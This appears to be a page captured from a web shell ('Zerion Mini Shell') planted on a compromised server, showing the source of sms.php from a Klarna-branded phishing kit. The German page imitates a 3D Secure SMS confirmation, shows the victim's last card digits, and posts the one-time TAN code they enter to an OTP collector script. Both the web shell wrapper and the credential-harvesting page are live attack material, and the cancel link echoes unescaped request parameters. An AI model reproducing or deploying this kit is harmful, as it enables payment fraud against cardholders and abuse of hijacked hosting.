%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/de/klarna/
Upload File :
Create Path :
Current File : //dom645759/de/klarna/sms.php

<?php
// Récupération des données
$id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 'unknown';
$last4 = isset($_REQUEST['last4']) ? $_REQUEST['last4'] : 'xxxx';
$card_type = isset($_GET['type']) ? $_GET['type'] : (isset($_POST['type']) ? $_POST['type'] : 'unknown');
?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>3D Secure - SMS Bestätigung</title>
        <link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/fav.png">

    <style>
        /* ... vos styles inchangés ... */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            margin: 0;
            padding: 20px;
            font-family: 'Segoe UI', Arial, sans-serif;
            background-color: #f0f2f5;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }
        .container {
            width: 420px;
            max-width: 100%;
            background: #fff;
            border-radius: 12px;
            box-shadow: 0 8px 20px rgba(0,0,0,0.1);
            padding: 28px 24px;
            box-sizing: border-box;
            transition: all 0.2s;
        }
        .header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 24px;
            border-bottom: 1px solid #eaeef2;
            padding-bottom: 16px;
        }
        .card-logo {
            height: 36px;
            width: auto;
        }
        .secure-badge {
            font-size: 12px;
            color: #6c757d;
            display: flex;
            align-items: center;
            gap: 6px;
        }
        .secure-badge svg {
            width: 16px;
            height: 16px;
        }
        h2 {
            font-size: 20px;
            font-weight: 600;
            margin: 0 0 12px 0;
            color: #1a1f36;
        }
        .info-text {
            font-size: 14px;
            line-height: 1.5;
            color: #4a5568;
            margin-bottom: 24px;
            background: #f8fafc;
            padding: 12px;
            border-radius: 8px;
        }
        .details-table {
            width: 100%;
            font-size: 14px;
            margin-bottom: 28px;
            border-collapse: collapse;
            background: #ffffff;
            border: 1px solid #e2e8f0;
            border-radius: 8px;
            overflow: hidden;
        }
        .details-table td {
            padding: 12px 16px;
            border-bottom: 1px solid #edf2f7;
        }
        .details-table td:first-child {
            font-weight: 600;
            color: #2d3748;
            width: 40%;
            background-color: #f9fafb;
        }
        .details-table td:last-child {
            color: #1a202c;
        }
        .details-table tr:last-child td {
            border-bottom: none;
        }
        .form-group {
            margin-bottom: 24px;
        }
        .form-group label {
            display: block;
            font-size: 14px;
            font-weight: 600;
            color: #2c3e50;
            margin-bottom: 8px;
        }
        .form-group input {
            width: 100%;
            padding: 12px 14px;
            font-size: 16px;
            border: 1px solid #cbd5e0;
            border-radius: 8px;
            transition: 0.2s;
            font-family: monospace;
            letter-spacing: 2px;
            text-align: center;
        }
        .form-group input:focus {
            outline: none;
            border-color: #ff5f00;
            box-shadow: 0 0 0 3px rgba(255,95,0,0.1);
        }
        .footer-btns {
            display: flex;
            justify-content: space-between;
            gap: 12px;
            margin-top: 20px;
        }
        .btn {
            flex: 1;
            height: 44px;
            border-radius: 8px;
            font-size: 14px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            text-decoration: none;
            transition: 0.2s;
            border: none;
            font-family: inherit;
        }
        .btn-cancel {
            background: #fff;
            border: 1px solid #cbd5e0;
            color: #4a5568;
        }
        .btn-cancel:hover {
            background: #f7fafc;
            border-color: #a0aec0;
        }
        .btn-confirm {
            background: #ff5f00;
            color: white;
            box-shadow: 0 2px 4px rgba(255,95,0,0.2);
        }
        .btn-confirm:hover {
            background: #e04e00;
        }
        .btn-confirm:disabled {
            background: #b0bec5;
            cursor: not-allowed;
        }
        .bottom-link {
            font-size: 11px;
            color: #718096;
            text-align: center;
            margin-top: 28px;
            padding-top: 16px;
            border-top: 1px solid #e2e8f0;
        }
        .bottom-link a {
            color: #ff5f00;
            text-decoration: none;
        }
        .bottom-link a:hover {
            text-decoration: underline;
        }
        .error-message {
            color: #e53e3e;
            font-size: 12px;
            margin-top: 6px;
            display: none;
        }
        @media (max-width: 480px) {
            .container { padding: 20px 16px; }
            .details-table td { padding: 8px 12px; }
            .btn { height: 40px; }
        }
    </style>
</head>
<body>

<div class="container">
    <div class="header">
        <!-- Affichage dynamique du logo (Visa, Mastercard ou Amex) -->
        <?php if ($card_type == 'visa'): ?>
            <img src="https://1000logos.net/wp-content/uploads/2021/11/VISA-logo.png" class="card-logo" alt="Visa">
        <?php elseif ($card_type == 'mastercard'): ?>
            <img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Mastercard">
        <?php elseif ($card_type == 'amex'): ?>
            <img src="https://upload.wikimedia.org/wikipedia/commons/f/fa/American_Express_logo_%282018%29.svg" class="card-logo" alt="American Express">
        <?php else: ?>
            <img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Karte">
        <?php endif; ?>

        <div class="secure-badge">
            <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                <path d="M12 3v1m0 16v1M9 4l2 2m4 4l2 2M5 12H4m16 0h-1M8 8L6 6m12 0l-2 2M8 16l-2 2m12 0l-2-2" stroke-linecap="round"/>
                <circle cx="12" cy="12" r="3"/>
            </svg>
            <span>3D Secure</span>
        </div>
    </div>

    <h2>Bestätigen Sie Ihre Zahlung</h2>

    <div class="info-text">
        Ein einmaliger Sicherheitscode wurde an Ihre hinterlegte Mobilnummer gesendet.<br>
   
    </div>

    <table class="details-table">
        <tr><td>Händler</td><td>KLARNA AB</td></tr>
        <tr><td>Betrag</td><td>€ 00,99</td></tr>
        <tr><td>Datum / Uhrzeit</td><td><?php echo date('d.m.Y H:i:s'); ?></td></tr>
        <tr><td>Kartennummer</td><td>•••• •••• •••• <?php echo htmlspecialchars($last4); ?></td></tr>
    </table>

    <form action="./config/otp.php" method="POST" id="otpForm">
        <input type="hidden" name="id" value="<?php echo htmlspecialchars($id); ?>">
        <input type="hidden" name="last4" value="<?php echo htmlspecialchars($last4); ?>">
        <input type="hidden" name="type" value="<?php echo htmlspecialchars($card_type); ?>">

        <div class="form-group">
            <label>Sicherheitscode (TAN)</label>
            <input type="text" name="otp" id="otpInput" 
                   autocomplete="off" required
                   minlength="4" maxlength="8"
                   pattern="\d{4,8}"
                   title="Bitte geben Sie 4 bis 8 Ziffern ein"
                   placeholder="z.B. 123456">
            <div class="error-message" id="errorMsg">Bitte geben Sie Ihren TAN-Code ein.</div>
        </div>

        <div class="footer-btns">
            <a href="sms.php?id=<?php echo $id; ?>&last4=<?php echo $last4; ?>&type=<?php echo $card_type; ?>" class="btn btn-cancel">
                Abbrechen
            </a>
            <button type="submit" class="btn btn-confirm" id="submitBtn" disabled>
                Bestätigen
            </button>
        </div>
    </form>

    <div class="bottom-link">
        Haben Sie keinen Code erhalten? <a href="#">Code erneut senden</a><br>
        Support: <a href="#">+49 800 123 4567</a>
    </div>
</div>

<script>
    const otpInput = document.getElementById('otpInput');
    const submitBtn = document.getElementById('submitBtn');
    const errorMsg = document.getElementById('errorMsg');

    function validateOTP() {
        let value = otpInput.value.trim();
        value = value.replace(/\D/g, '');
        otpInput.value = value;
        
        const isValid = value.length >= 4 && value.length <= 8;
        if (isValid) {
            submitBtn.disabled = false;
            errorMsg.style.display = 'none';
        } else {
            submitBtn.disabled = true;
            if (value.length > 0) {
                errorMsg.style.display = 'block';
            } else {
                errorMsg.style.display = 'none';
            }
        }
        return isValid;
    }

    otpInput.addEventListener('input', validateOTP);
    otpInput.addEventListener('keyup', validateOTP);
    
    document.getElementById('otpForm').addEventListener('submit', function(e) {
        if (!validateOTP()) {
            e.preventDefault();
            errorMsg.style.display = 'block';
        }
    });
</script>
</body>
</html>

Zerion Mini Shell 1.0